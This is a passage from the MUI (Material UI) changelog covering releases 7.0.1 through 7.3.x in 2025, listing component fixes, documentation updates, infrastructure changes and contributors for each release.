(#47018) @Janpot\n- [code-infra] Migrate `lodash` to `es-toolkit` (#46974) @sukvvon\n- [docs-infra] Do not escape pipes (`|`) inside code blocks (#47139) @ZeeshanTamboli\n- [docs-infra] Fix broken link targets (#47104) @Janpot\n- [docs-infra] Fix broken link for DOMRect docs (#47106) @Janpot\n- [docs-infra] Use published netlify cache plugin package (#47071) @brijeshb42\n- [examples] Remove Next.js text from React Router example (#47055) @HeinrichFilter\n\nAll contributors of this release in alphabetical order: @bernardobelchior, @brijeshb42, @CODEKRUNCH, @frncesc, @HeinrichFilter, @Janpot, @PossiblyAShrub, @sai6855, @siriwatknp, @sukvvon, @ZeeshanTamboli\n\n## 7.3.4\n\n<!-- generated comparing v7.3.3..master -->\n\n_Oct 2, 2025_\n\nA big thanks to the 3 contributors who made this release possible. Here are some highlights ✨:\n\nSmall update to revert a change that broke the `<Tabs>` component. Also publishing a beta version of `@mui/lab` which was accidentally published as a stable release.\n\n### `@mui/material@7.3.4`\n\n- [Tabs] Revert \"Fix not scrolling to correct tab after refresh when auto scrollable (#46869)\" (#47014) @ZeeshanTamboli\n\n### Docs\n\n- Sort package manager automatically (#46897) @Janpot\n\n### Core\n\n- Bring @mui/lab back to unstable version (#47012) @Janpot\n- Fix `ThemeOptions` and `createTheme*` cyclic dependency (#47007) @siriwatknp\n\nAll contributors of this release in alphabetical order: @Janpot, @siriwatknp, @ZeeshanTamboli\n\n## 7.3.3\n\n<!-- generated comparing v7.3.2..master -->\n\n_Sep 30, 2025_\n\nA big thanks to the 14 contributors who made this release possible.\n\n### `@mui/material@7.3.3`\n\n- [Autocomplete] Sync highlighted index when popup is opened (#46894) @ZeeshanTamboli\n- [CircularProgress] Add track slot via enableTrackSlot (#46907) @monam2\n- [locale] Split locales into separate files (#46933) @christopherschroer\n- [Tabs] Fix not scrolling to correct tab after refresh when auto scrollable (#46869) @Jayesh-11\n\n### Docs\n\n- Add a guide for building extensible themes (#46896) @siriwatknp\n- Add v7 community course to resources page (#46944) @alelthomas\n- Improve performance of Default Theme Viewer (#46841) @sai6855\n- Fix typo in blog component MainContent (#46868) @jonyen\n- [Steppers] Replace TransitionProps with slotProps.transition (#46898) @sai6855\n\n### Core\n\n- [blog] Fix year in Punta Cana retreat post (#46943) @mapache-salvaje\n- [blog] Punta Cana retreat post (#46892) @mapache-salvaje\n- [code-infra] Publish from CI (#46851) @Janpot\n- [code-infra] Convert reportBrokenLink script to ts (#47002) @brijeshb42\n- [code-infra] Update module resolution for typescript@next (#46940) @Janpot\n- [code-infra] Run continuous releases during ci-check (#46948) @Janpot\n- [code-infra] Fix github actions check for continuous release (#46941) @Janpot\n- [code-infra] Address high/critical dependabot reports (#46937) @Janpot\n- [code-infra] Update ci.yml triggers (#46860) @Janpot\n- [code-infra] Exact match for renovate file name (#46916) @Janpot\n- [code-infra] Disable dependency update for `@material-ui/core` in codemod (#46899) @Janpot\n- [code-infra] Transpile `assertion-error` in karma tests (#46909) @Janpot\n- [code-infra] Disable browserstack on circleci cron jobs (#46905) @Janpot\n- [code-infra] Remove `copy-files` command usage from packages (#46902) @brijeshb42\n- [code-infra] Low-hanging ts conversion (#46903) @Janpot\n- [code-infra] Bring batch of changes from vitest PR (#46795) @Janpot\n- [code-infra] Remove dependency on `fs-extra` (#46755) @bernardobelchior\n- [code-infra] Make error code extraction independent of build (#46865) @brijeshb42\n- [docs-infra] Fix markdown generation script to find correct files (#46954) @siriwatknp\n- [docs-infra] Fix unnecessary redirects (#46951) @Janpot\n- [docs-infra] Remove `dangerouslySetInnerHTML` for ad description (#46936) @Janpot\n- [docs-infra] Display \"View as Markdown\" only on Material UI (#46861) @siriwatknp\n- [infra] Fix JSON files not being imported in TS demos (#47000) @bernardobelchior\n- [infra] Turn `literal | (string & {})` to `PropTypes.string` (#46934) @siriwatknp\n- [infra] Bump node.js version and make local usage strict (#46834) @brijeshb42\n- [infra] Remove \"main\" fields from publishable packages (#46856) @brijeshb42\n- [internal] Refactor `useForkRef` TS types: tighten `cleanupRef` and simplify ref typing (#46967) @wo-o29\n- [internal] Fix naming to match convention (2099cb0) @oliviertassinari\n- [internal] Fix naming to match convention (29aad62) @oliviertassinari\n- [internal] Use same option as other repositories (eabda77) @oliviertassinari\n- [internal] Normalize <meta name='viewport' (9d1922a) @oliviertassinari\n- [internal] Normalize charset='utf-8' (f1aae00) @oliviertassinari\n- [test] Split infinitive (0237fda) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @alelthomas, @bernardobelchior, @brijeshb42, @christopherschroer, @Janpot, @Jayesh-11, @jonyen, @mapache-salvaje, @monam2, @oliviertassinari, @sai6855, @siriwatknp, @wo-o29, @ZeeshanTamboli\n\n## 7.3.2\n\n<!-- generated comparing v7.3.1..master -->\n\n_Sep 1, 2025_\n\nA big thanks to the 16 contributors who made this release possible.\n\n### `@mui/material@7.3.2`\n\n- [Chip] Remove unnecessary optional chaining from key event handlers (#46752) @ZeeshanTamboli\n- [Drawer] Add dialog role and aria-modal for `temporary` variant (#46690) @Yashkanekar\n- [PaginationItem] Add slot descriptions and default components in API documentation (#46677) @sai6855\n- [utils] Remove duplicate isHostComponent function (#46721) @frontman-git\n\n### `@mui/codemod@7.3.2`\n\n- Add codemod to convert top-level to path imports (#46657) @neemski\n\n### Docs\n\n- Remove outdated Next.js lint command (#46847) @oliviertassinari\n- Add `View as Markdown` to component link header (#46835) @siriwatknp\n- Add a link to open `llms.txt` (#46832) @siriwatknp\n- Fix typos in Material UI API docs (#46787) @noritaka1166\n- Fix typo extra \"to\" word (#46783) @danpeleg4\n- Remove past employees from about page (#46780) @Janpot\n- Fix typos in `docs/pages` folder (#46761) @noritaka1166\n- Add clarification on `react-is` resolution with Material UI v6 and v7 for React 18 and below (#46633) @alisasanib\n- Fix typos in `joy` and `utils` package (#46713) @noritaka1166\n- [autocomplete] Fix console in unstyled demo (#46804) @oliviertassinari\n- [autocomplete] Fix Google Maps brand attribution (#46803) @oliviertassinari\n- [autocomplete] Fix header sentence case (#46805) @oliviertassinari\n- [autocomplete] Fix Google Maps demo (#46793) @oliviertassinari\n- [Select] Fix labeling issues in grouped select demo (#46722) @mj12albert\n- [table] Remove outdated unstyled section (#46786) @mj12albert\n- [TextField] Add note about removal of `sizeMedium` class from InputLabel in v7 upgrade guide (#46693) @checcoux\n\n### Core\n\n- Update `cipher-base` transitive dependency (#46800) @Janpot\n- [charts] Marked Treemap chart as Pro (#46691) @prakhargupta1\n- [code-infra] Remove some csbci references (#46797) @Janpot\n- [code-infra] update build tool (#46801) @Janpot\n- [code-infra] Align pkg.pr.new with other projects (#46467) @Janpot\n- [code-infra] Prepare for incoming `execa` update (#46781) @Janpot\n- [code-infra] Remove `@mui/internal-babel-plugin-resolve-imports` override config (#46754) @ZeeshanTamboli\n- [core] Fix typo in `docs/mui-vale` folder (#46760) @noritaka1166\n- [core] Fix typos in `docs/data/material` folder (#46757) @noritaka1166\n- [core] Fix typos in `netlify` folder (#46756) @noritaka1166\n- [core] Upgrade brace-expansion (#46747) @oliviertassinari\n- [core] Fix typos in Joy UI docs and `test` folder (#46738) @noritaka1166\n- [core] Upgrade KaTeX (#46731) @oliviertassinari\n- [core] Avoid Polynomial regex backtracking (#46732) @oliviertassinari\n- [core] Remove dead @toolpad/core dependency (#46730) @oliviertassinari\n- [core] Fix typos in `markdown` and `system` packages (#46720) @noritaka1166\n- [core] Fix typos in `api-docs-builder` package (#46719) @noritaka1166\n- [core] Fix typos in `codemod` package (#46715) @noritaka1166\n- [core] pnpm prettier:all (#46685) @oliviertassinari\n- [docs-infra] Set origin to generated `llms.txt` (#46833) @siriwatknp\n- [docs-infra] Fix AbortController error (#46408) @oliviertassinari\n- [docs-infra] Block than more feedback submissions (#46824) @oliviertassinari\n- [docs-infra] Fix ESLint references (#46680) @oliviertassinari\n- [infra] Migrate away from airbnb's eslint config (#46794) @brijeshb42\n- [infra] Remove `fs-extra` from docs scripts (#46749) @bernardobelchior\n- [infra] Remove dependency on `react-spring` (but keep `@react-spring/web`) (#46748) @bernardobelchior\n- [infra] Remove `fs-extra` from `mui-icons-material` (#46745) @bernardobelchior\n- [infra] Remove `api-docs-builder` dependency on `fs-extra` (#46742) @bernardobelchior\n- [infra] Migrate build command to code-infra (#46614) @brijeshb42\n- [infra] move testBuiltTypes step (#46735) @Janpot\n- [infra] Remove `fs-extra` from `netlify-plugin-cache-docs` (#46740) @bernardobelchior\n- [infra] Supply `document` to `userEvent.setup()` (#46714) @Janpot\n- [infra] Remove useless test step (#46679) @Janpot\n- [infra] Stagger daily cron jobs to avoid browserstack timeouts (#46676) @Janpot\n- [internal] Improve useControlled() strict mode handling (#46807) @oliviertassinari\n- [internal] Sentence case (55a9d8f) @oliviertassinari\n- [internal] Fix typos in code comments (#46784) @noritaka1166\n- [internal] Fix console regression in dev mode (925f02b) @oliviertassinari\n- [internal] Prettier all if dependencies changes (1f63b03) @oliviertassinari\n- [internal] Fix renovate.json (84be632) @oliviertassinari\n- [internal] Polish renovate schedule (#46727) @oliviertassinari\n- [internal] Update link to GitHub labels (8ab4813) @oliviertassinari\n- [internal] Bump brace-expansion (06de338) @oliviertassinari\n- [internal] Normalize Action description (4a2fbcb) @oliviertassinari\n- [toolpad] Remove it from website and docs (#46595) @prakhargupta1\n\nAll contributors of this release in alphabetical order: @alisasanib, @bernardobelchior, @brijeshb42, @checcoux, @danpeleg4, @frontman-git, @Janpot, @mj12albert, @neemski, @noritaka1166, @oliviertassinari, @prakhargupta1, @sai6855, @siriwatknp, @Yashkanekar, @ZeeshanTamboli\n\n## 7.3.1\n\n<!-- generated comparing v7.3.0..master -->\n\n_Aug 6, 2025_\n\nA big thanks to the 2 contributors who made this release possible.\n\n### `@mui/material@7.3.1`\n\n- [PaginationItem] Fix inheritance of component (#46666) @sai6855\n- [Select] Revert - Implement pointer cancellation PR 45789 (#46672) @ZeeshanTamboli\n\nAll contributors of this release in alphabetical order: @sai6855, @ZeeshanTamboli\n\n## 7.3.0\n\n<!-- generated comparing v7.2.0..master -->\n\n_Aug 5, 2025_\n\nA big thanks to the 24 contributors who made this release possible. Here are some highlights ✨:\n\n- 🚀 Shipped `nativeColor` feature that eliminates JS color manipulation and unlocks support for all modern color spaces (#43942) @siriwatknp!\n\n  To learn more, check out the [Native Color](https://mui.com/material-ui/customization/css-theme-variables/native-color/) guide.\n\n### `@mui/material@7.3.0`\n\n- Support native color without JS manipulation (#43942) @siriwatknp\n- [Accordion] Add `region` slot (#46659) @sai6855\n- [SpeedDial] Fix navigation with arrow keys when slotProps.fab is defined (#46508) @sai6855\n- [Select] Improve `MenuProps.slotProps` implementation (#46612) @ZeeshanTamboli\n- [Select] Implement pointer cancellation (#45789) @Kartik-Murthy\n- [Switch] Add role=\"switch\" (#46482) @ZeeshanTamboli\n- [Autocomplete] Fix auto highlight when options change but not the length (#46489) @yafeng-c\n\n### `@mui/codemod@7.3.0`\n\n- Fix `v5.0.0/top-level-imports` codemod changing color imports (#46405) @AidanLDev\n\n### Docs\n\n- Add JetBrains IDEs MCP configuration (#46470) @bernardobelchior\n- Add warning to array spacing section (#46542) @cherniavskii\n- Add MCP server installation details for Claude Code (#46621) @saschabratton\n- Fix incorrect command for MCP Inspector in mcp.md (#46630) @EndiM\n- Fix incorrect Typography override example for responsive styles (#46558) @aditi291soni\n- Improve MCP docs (#46557) @siriwatknp\n- Fix displaying of components in dark mode (#46544) @sai6855\n- Generate `template` entries about documented generics (#46540) @LukasTy\n- Use fixed dates for stable CRUD dashboard screenshots (#46546) @apedroferreira\n- Add \"Edit in Mui Chat\" button on demos (#46480) @siriwatknp\n- Fix Menu customization demo (#46535) @siriwatknp\n- Add dashboard with CRUD template based on Toolpad Core (#46376) @apedroferreira\n- Clarify `createTheme` warning for future compatibility (#46476) @satendra03\n- Remove typo in `_redirects` (#46463) @bharatkashyap\n- Change API docs to stay inside Material UI (#46414) @bharatkashyap\n- [Dialog] Fix Form dialog demo's actions button padding (#46506) @frontman-git\n- [SpeedDial] Remove deprecated props from demos (#46485) @sai6855\n- [Switch] Use `slotProps.input` instead of deprecated `inputProps` for accessible controlled switch (#46625) @adiitxa\n\n### Core\n\n- Fix ESLint reference name (80d32a2) @oliviertassinari\n- Fix ESLint reference name (5fc166e) @oliviertassinari\n- Add `@base-ui-components/*` to env info (#46539) @Janpot\n- Remove dead property from routes (#46534) @oliviertassinari\n- Fix unpinned version regression (#46438) @oliviertassinari\n- [code-infra] Accomodate build requirements from mui-x (#46551) @brijeshb42\n- [code-infra] Extend renovate preset from infra repo (#46483) @brijeshb42\n- [code-infra] Use flat ESLint config (#46258) @brijeshb42\n- [docs-infra] Remove comment saving in G-sheet option (#46617) @alexfauquette\n- [docs-infra] Move `Open in MUI Chat` to Demo toolbar and adjust styles (#46579) @siriwatknp\n- [docs-infra] Fix codeblock issues (#46323) @atharva3333\n- [docs-infra] Handle white spaces and generate either TS or JS demo for llms files (#46494) @siriwatknp\n- [examples] Rename PopOverMenu.tsx file to match its usage (#46532) @rjray\n- [infra] Fix `test_types_next`, `test_react_18`, `test_react_next` jobs (#46182) @Janpot\n- [infra] Remove package.json `module` field (#46620) @Janpot\n- [infra] Upgrade form-data to >4.0.4 (#46618) @Janpot\n- [infra] Use cpu option only in CI (#46588) @Janpot\n- [infra] Update scripts to delete publishConfig.directory (#46563) @brijeshb42\n- [infra] Remove `transform-runtime` from `next/babel` (#46552) @Janpot\n- [infra] Revert nx update (#46538) @Janpot\n- [infra] Replace Argos script with code-infra CLI and update deps (#46475) @Janpot\n- [infra] Update node group in renovate config (#46474) @Janpot\n- [infra] Move @playwright/test to peer deps in @mui/internal-test-utils (#46459) @Janpot\n- [infra] Add instructions for patch release (#46382) @mnajdova\n\nAll contributors of this release in alphabetical order: @adiitxa, @aditi291soni, @AidanLDev, @alexfauquette, @apedroferreira, @atharva3333, @bernardobelchior, @bharatkashyap, @brijeshb42, @cherniavskii, @EndiM, @frontman-git, @Janpot, @Kartik-Murthy, @LukasTy, @mnajdova, @oliviertassinari, @rjray, @sai6855, @saschabratton, @satendra03, @siriwatknp, @yafeng-c, @ZeeshanTamboli\n\n## 7.2.0\n\n<!-- generated comparing v7.1.1..master -->\n\n_Jun 26, 2025_\n\nA big thanks to the 17 contributors who made this release possible. Here are the highlights ✨:\n\n- ⚡️ Added `modularCssLayers` theme option for splitting styles into multiple CSS layers (#46001) @siriwatknp.\n- 📖 Added example for using Material UI with React Router v7 (#46406) @siriwatknp.\n\n### `@mui/material@7.2.0`\n\n- [Backdrop] Fix handling of `component` prop (#46269) @sai6855\n- [Chip] Explicitly define line-height (#46260) @DiegoAndai\n- [Chip] Fix handling on event handlers (#46263) @sai6855\n- [OutlinedInput][Input] Deprecate composed classes (#46316) @sai6855\n- [Select] Pass MenuProps.slotProps.list alongside MenuListProps (#46274) @scousino\n- [l10] Enable `labelDisplayedRows` translation for Romanian (#46377) @dhu-redwoodtech\n- Skip generating `modularCssLayers` CSS var (#46329) @siriwatknp\n\n### `@mui/system@7.2.0`\n\n- Add `modularCssLayers` theme flag to split styles into multiple CSS layers (#46001) @siriwatknp\n\n### `@mui/styled-engine@7.2.0`\n\n- Do not reuse the emotion cache across SSR requests (#46276) @robbtraister\n\n### `@mui/codemod@7.2.0`\n\n- [Dialog] Add codemod for deprecated props (#46328) @sai6855\n\n### Docs\n\n- Don't forward `hasAiSuggestion` (#46415) @bharatkashyap\n- Add introduction to MCP (#46224) @bharatkashyap\n- Fallback for searchbar during SSR (#46364) @Janpot\n- Update InitColorSchemeScript options to match colorSchemeSelector (#46302) @humble-barnacle001\n- Add `ListItemButton` to make the deprecation clear (#46356) @siriwatknp\n- Remove \"Unstyled\" section from component docs (#46272) @mapache-salvaje\n- Add Testing section to Rating component doc (#46268) @0210shivam\n- Fix fade modal demo (#46271) @brijeshb42\n- [ai] Add suggestions to edit with MUI Chat (#46309) @bharatkashyap\n- [Dialog] Fix form dialog uses ARIA roles on incompatible elements (#46307) @ZeeshanTamboli\n- [Menu] Fix dark mode styling of grouped header demo (#46317) @sai6855\n- [TextField] Removed type=\"number\" demos (#46314) @KirankumarAmbati\n- [examples] Add `material-ui-react-router-ts` example (#46406) @siriwatknp\n\n### Core\n\n- pnpm docs:sync-team (3641a0b) @oliviertassinari\n- Add cross-env to ESLint script (#46358) @ZeeshanTamboli\n- Support merging of className and style from theme (#45975) @sai6855\n- [code-infra] Create bundle size package (#45911) @Janpot\n- [docs-infra] Add a script to generate Material UI `llms.txt` and docs markdown. (#46308) @siriwatknp\n- [docs-infra] Fix StackBlitz for js projects (#46220) @Janpot\n- [infra] Add emotion as external for bundle monitor (#46372) @Janpot\n- [infra] Create update PR on every canary publish for internal packages (#46367) @Janpot\n- [infra] Remove deprecated esmExternals (#46365) @Janpot\n- [infra] Support project-specific changelog in build scripts (#46425) @michaldudak\n- [toolpad][website] Remove references to Toolpad (#46311) @prakhargupta1\n\nAll contributors of this release in alphabetical order: @0210shivam, @bharatkashyap, @brijeshb42, @dhu-redwoodtech, @DiegoAndai, @humble-barnacle001, @Janpot, @KirankumarAmbati, @mapache-salvaje, @michaldudak, @oliviertassinari, @prakhargupta1, @robbtraister, @sai6855, @scousino, @siriwatknp, @ZeeshanTamboli\n\n## 7.1.2\n\n_Jun 18, 2025_\n\nA big thanks to the 2 contributors who made this release possible.\n\n### `@mui/material@7.1.2`\n\n- [Chip] Fix handling on event handlers (#46263) @sai6855\n\n### Docs\n\n- Fix fade modal demo (#46271) @brijeshb42\n\nAll contributors of this release in alphabetical order: @brijeshb42, @sai6855\n\n## 7.1.1\n\n<!-- generated comparing v7.1.0..master -->\n\n_May 30, 2025_\n\nA big thanks to the 15 contributors who made this release possible.\n\n### `@mui/material@7.1.1`\n\n- [Autocomplete] Fix label shrink issue when `renderValue` is used with empty array in multiple mode (#46047) @ZeeshanTamboli\n- [Autocomplete] Prevent `renderValue` from being skipped when value is 0 (#46145) @LakshitAgarwal\n- [Autocomplete] Add note in JSDoc for non-TextField components in `renderInput` (#46141) @khllbnomrn\n- [Chip] Add slots and slotProps (#46098) @sai6855\n- [Menu] Remove depreacted `MenuListProps` from demos (#46144) @sai6855\n- [TablePaginationActions] Export TablePaginationActions as new component (#46149) @sai6855\n- [SnackbarContent] Fix `square` prop not working (#46196) @0210shivam\n- [SnackbarContent] Fix error when theme value is CSS variable (#46198) @0210shivam\n\n### `@mui/codemod@7.1.1`\n\n- Add package name option (#45977) @siriwatknp\n\n### `@mui/system@7.1.1`\n\n- Skip styled component from being transformed (#46129) @siriwatknp\n- Update the type for borderRadius (#46154) @codiini\n\n### `@mui/styled-engine@7.1.1`\n\n- Fix variant props callback type to spread `ownerState` (#46187) @siriwatknp\n\n### `@mui/stylis-plugin-rtl@7.1.1`\n\n- Fix RTL does not work with CSS layer with a new package (#46230) @siriwatknp\n\n### Docs\n\n- [Dialog] Remove deprecated TransitionComponent from demo (#46185) @sai6855\n- [Grid] Remove direction `column` and `column-reverse` from the demo (#46127) @0210shivam\n- [Grid] Update grid migration guide (#46057) @sai6855\n- [templates] Fix rendering of logos in dark mode (#46221) @sai6855\n- [ToggleButtonGroup] Add spacing demo (#46058) @sai6855\n- Fix typo in dark mode docs (#46229) @ZeeshanTamboli\n- Clarify Next.js + Tailwind CSS v3 integration requirements (#46176) @chaitanyasharma1011\n- Fix GridLegacy docs order (#46135) @oliviertassinari\n- Update upgrade guide for resolution of `react-is` (#46002) @siriwatknp\n- Remove oudated scaffoldhub ad (#46090) @oliviertassinari\n- Show how to target global state classes with CSS Modules (#45992) @RubemMazzetto\n\n### Core\n\n- [code-infra] Add plugin to check for index file access (#46178) @Janpot\n- [code-infra] Bump ESLint to v9 (#46222) @brijeshb42\n- [code-infra] Move packages to mui/mui-public (#46155) @Janpot\n- [code-infra] Move `chai` to peerDep (#46227) @JCQuintas\n- [code-infra] Avoid loading barrel file during type checking (#46177) @Janpot\n- [code-infra] Remove unnecessary ref from `HighlightedCode` component (#46151) @ZeeshanTamboli\n- [code-infra] Import mocha type instead of global (#46108) @JCQuintas\n- [code-infra] Dependabot also create branches (795a481) @oliviertassinari\n- [code-infra] Avoid running continuous release on forks (#46103) @Janpot\n- [code-infra] Remove checkout job altogether (#46100) @Janpot\n- [code-infra] Remove required checkout workflows in circleci (#46099) @Janpot\n- Run pnpm docs:sync-team (c8f1da5) @oliviertassinari\n- Upgrade MUI X packages to v8 (#45990) @KenanYusuf\n- Minor detail to reduce confusion (4c64b72) @oliviertassinari\n- Update security.md (#45839) @DiegoAndai\n- Apply yml convention, blank line only at top level (f273220) @oliviertassinari\n- Add comment that lab should be in alpha (#45999) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @0210shivam, @brijeshb42, @chaitanyasharma1011, @codiini, @DiegoAndai, @Janpot, @JCQuintas, @KenanYusuf, @khllbnomrn, @LakshitAgarwal, @oliviertassinari, @RubemMazzetto, @sai6855, @siriwatknp, @ZeeshanTamboli\n\n## 7.1.0\n\n<!-- generated comparing v7.0.2..master -->\n\n_May 6, 2025_\n\nA big thanks to the 21 contributors who made this release possible. Here are some highlights ✨:\n\n- 🎉 Material UI now works with **Tailwind CSS v4**! Check out the [setup guide](https://mui.com/material-ui/integrations/tailwindcss/tailwindcss-v4/).\n\n### `@mui/material@7.1.0`\n\n- [InputBase] Text cursor jumps several lines up when inserting text fragment with new line at the end (#45246) @yermartee\n- [OutlinedInput] Add missing `notchedOutline` slot (#45917) @siriwatknp\n- [Snackbar] Skip default `onClickAway` behavior when `defaultMuiPrevented` is provided (#45629) @sai6855\n- [Avatar] Fix img slot types and add missing slots (#45483) @siriwatknp\n- [Badge] Replace useSlotProps with useSlot hook (#45871) @sai6855\n- [BottomNavigationAction] Add slots and slotProps (#45776) @sai6855\n- [CardActionArea] Add slots and slotProps (#45866) @sai6855\n- [useMediaQuery] Add warning and docs for using `useMediaQuery('print')` (#44790) @good-jinu\n- Remove unnecessary clsx usages (#46084) @sai6855\n- Corrected generic type definition in `SelectChangeEvent` (#45941) @SuyashShukla0007\n- Fix theme object changes between renders (#45863) @siriwatknp\n\n### `@mui/material-nextjs@7.1.0`\n\n- Add option to enable CSS layers for pages router (#45596) @siriwatknp\n- Do not wrap `@layer` order rules in App Router (#45864) @Nayeem-XTREME\n\n### `@mui/system@7.1.0`\n\n- Fix `@mui/system` types organization (#45860) @Janpot\n\n### `@mui/styled-engine@7.1.0`\n\n- Infer `ownerState` from props in `styled` (#46083) @siriwatknp\n- Fix style overrides variants type (#45478) @siriwatknp\n\n### Docs\n\n- [Avatar] Add avatar upload demo (#45986) @Demianeen\n- [Dialog] Remove deprecated props usage in demos (#45923) @sai6855\n- [Menu] Update `paper` slot JSDoc default from `Paper` to `PopoverPaper` (#45722) @andreachiera\n- [examples] Remove create-react-app usages (#45426) @CodeLeom\n- Add `AccordionSummary` to the v5 breaking change migration (#45947) @siriwatknp\n- Update CSS variable usage in migration guide for Pigment CSS (#46033) @sai6855\n- Fix docs API dark mode color (#46086) @alexfauquette\n- Add a guide for extending Material UI classes in Tailwind CSS (#46039) @siriwatknp\n- Add `InitColorSchemeScript` docs and API (#45927) @siriwatknp\n- Add Tailwind CSS v4 integration guide (#45906) @siriwatknp\n- Fix 301 links to the system v6 (#45931) @oliviertassinari\n- Add notification for MUI X v8 announcement (#45942) @joserodolfofreitas\n- Fix som 301 redirections (ae84b35) @oliviertassinari\n- Fix some 301 redirections (057384e) @oliviertassinari\n- Fix logo is not centered on small screens (#45920) @crabsim\n- Fix line break typo (a2a62d5) @oliviertassinari\n- Fix markdown typo in templates.md (#45914) @scyzoryck\n- Add Next.js App Router guide for custom classnames (#45852) @siriwatknp\n\n### Core\n\n- [code-infra] Give a stable name to dev tool app (3889ded) @oliviertassinari\n- [code-infra] Normalize author package in org (8135638) @oliviertassinari\n- [code-infra] Correct some manually curated .d.ts files (#46054) @Janpot\n- [code-infra] Align deps versions (#46048) @Janpot\n- [code-infra] Fix dynamic import in imports resolver (#46046) @Janpot\n- [code-infra] Eliminate `@mui/utils` deep imports (#46004) @Janpot\n- [code-infra] Expand renovate.json for react types (#45935) @Janpot\n- [code-infra] Make Argos upload script reusable (#45883) @Janpot\n- [code-infra] Disallow redundant window prefixes for globals (#45880) @Janpot\n- [code-infra] Remove type generation of modern build (#45912) @Janpot\n- [code-infra] Clean up bundle size checker (#45622) @Janpot\n- [code-infra] Fix `StrictMode` effects not being called twice in React 19 tests (#45812) @bernardobelchior\n- [code-infra] Convert `@mui/utils` to typescript (#45671) @Janpot\n- [docs-infra] Improve export into sandbox package.json (#46044) @oliviertassinari\n- [docs-infra] Update feedback Node.js to v22 (#46064) @oliviertassinari\n- [docs-infra] Normalize netlify.toml in org (b101d5c) @oliviertassinari\n- [docs-infra] Uniformize Vale between repositories (0f79796) @oliviertassinari\n- [docs-infra] Fix Vale no longer working (#46029) @oliviertassinari\n- [docs-infra] Remove demo styling switch (#45926) @Janpot\n- [docs-infra] StackBlitz WebContainer demos (#45924) @Janpot\n- [docs-infra] Fix feedback management (#45872) @alexfauquette\n- [test] Replace `playwright` with `@playwright/test` (#45998) @ZeeshanTamboli\n- Fix internal version duplication (#46051) @oliviertassinari\n- Avoid the need for `@mui/material/themeCssVarsAugmentation` (#46053) @Janpot\n- Add security label to dependabot PRs (0a5c027) @oliviertassinari\n- Remove unecessary versions (#46034) @oliviertassinari\n- Remove redundant overrides resolver (#45970) @romgrk\n- Fix duplicate branch reference (#45915) @oliviertassinari\n- Fix outdated <link rel=\"shortcut icon\" (#45916) @oliviertassinari\n- Fix redirection chains (#45930) @oliviertassinari\n- Run pnpm docs:sync-team (beee09f) @oliviertassinari\n- Add `pkg.pr.new` publishing (#42984) @Aslemammad\n- Remove @mui/base from the master branch (#45857) @mnajdova\n\nAll contributors of this release in alphabetical order: @alexfauquette, @andreachiera, @Aslemammad, @bernardobelchior, @CodeLeom, @crabsim, @Demianeen, @good-jinu, @Janpot, @joserodolfofreitas, @mnajdova, @Nayeem-XTREME, @oliviertassinari, @renovate[bot], @romgrk, @sai6855, @scyzoryck, @siriwatknp, @SuyashShukla0007, @yermartee, @ZeeshanTamboli\n\n## 7.0.2\n\n_Apr 9, 2025_\n\nA big thanks to the 12 contributors who made this release possible.\n\n### `@mui/material@7.0.2`\n\n- [Autocomplete] Add ability to render custom single value (#45387) @ZeeshanTamboli\n- [Autocomplete] Prevent shrink animation in controlled Autocomplete when initial `value` is provided (#45734) @imadx\n- [AvatarGroup] Fix `spacing` prop ignoring value `0` (#45799) @Kartik-Murthy\n- [Dialog] Deprecate composed classes (#45418) @sai6855\n\n### `@mui/material-nextjs@7.0.2`\n\n- Fix nonce issues (#45794) @Janpot\n- Add warnings to nextjs router integration (#45778) @Janpot\n\n### `@mui/styled-engine@7.0.2`\n\n- Added caching to `StyledEngineProvider` to improve performance for running tests with Jest (#45846) @siriwatknp\n\n### Core\n\n- [blog] Improve upvote video (0646444) @oliviertassinari\n- [code-infra] Remove webpack aliases (#45841) @Janpot\n- [code-infra] Remove .tsbuildinfo from build folder (#45727) @Janpot\n- [code-infra] Stabilize theme viewer screenshot tests (#45768) @Janpot\n- [code-infra] Remove modern bundles (#45808) @Janpot\n- Update buildTypes script to optionally remove css imports (#45835) @brijeshb42\n- Allow repo to be accepted as an argument for releaseTag (#45801) @brijeshb42\n- Update scripts to support base-ui (#45784) @brijeshb42\n- Sync scorecards.yml across codebase (4de5076) @oliviertassinari\n- Remove baseUrl and skipLibCheck (#45806) @Janpot\n- [docs-infra] Fix redirect styles pages (#45848) @siriwatknp\n- [docs-infra] Remove false-positive Vale rules (#45843) @oliviertassinari\n- [docs-infra] Make sure Next.js can find package.json through its aliases (#45840) @Janpot\n- [docs-infra] Fix Next.js brand name coverage (6915f8d) @oliviertassinari\n- [docs-infra] Fix layout shift between MIT and commercial pages (#45760) @oliviertassinari\n- [docs-infra] Non breaking space for ESM (#45758) @oliviertassinari\n- [support-infra] Remove dead 'workflow_call:' (#45736) @oliviertassinari\n- [utils] Support cleanup callbacks in useForkRef (#45621) @DiegoAndai\n\n### Docs\n\n- Fix pigment vite integration example (#44746) @brijeshb42\n- Update migration instructions and codemod references for deprecated APIs (#45793) @sai6855\n- Add TanStack Router routing example (#44930) @vetledv\n- Fix layout shifting in icons page (#45779) @sai6855\n- Fix migration instructions (#45762) @oliviertassinari\n- Fix wrong TypeScript support version (#45761) @oliviertassinari\n- Fix link to mui-joy/src/styles/components.d.ts (#45763) @oliviertassinari\n- Fix 301 link (ae94c40) @oliviertassinari\n- Fix 301 links (abd8f63) @oliviertassinari\n- Fix 301 redirection (c7658de) @oliviertassinari\n- [nextjs] Migrate from deprecated \"legacyBehavior\" prop (#44871) @oliviertassinari\n- [nextjs] Document CSP for Next.js Pages Router (#45798) @Grohden\n\nAll contributors of this release in alphabetical order: @brijeshb42, @DiegoAndai, @Grohden, @imadx, @Janpot, @Kartik-Murthy, @oliviertassinari, @renovate[bot], @sai6855, @siriwatknp, @vetledv, @ZeeshanTamboli\n\n## 7.0.1\n\n<!-- generated comparing v7.0.0..master -->\n\n_Mar 28, 2025_\n\nA big thanks to the 7 contributors who made this release possible.\n\n### `@mui/material@7.0.1`\n\n- Export ThemeProviderProps (#45701) @aarongarciah\n- [Fab] Fix default variant text color when using CSS vars (#45714) @aarongarciah\n- Remove mention of v7 in deprecation messages (#45708) @DiegoAndai\n- [Popover] Allow `null` in `anchorEl` function return type (#45045) @eduter\n- Fix missing CSSProperties/MixinOptions types (#45706) @Janpot\n\n### `@mui/icons-material@7.0.1`\n\n- [code-infra] Fix icon-material type resolution under `moduleResolution: \"node\"` (#45704) @Janpot\n- Bring back individual icon dts (#45711) @Janpot\n\n### Core\n\n- Improve the release instructions 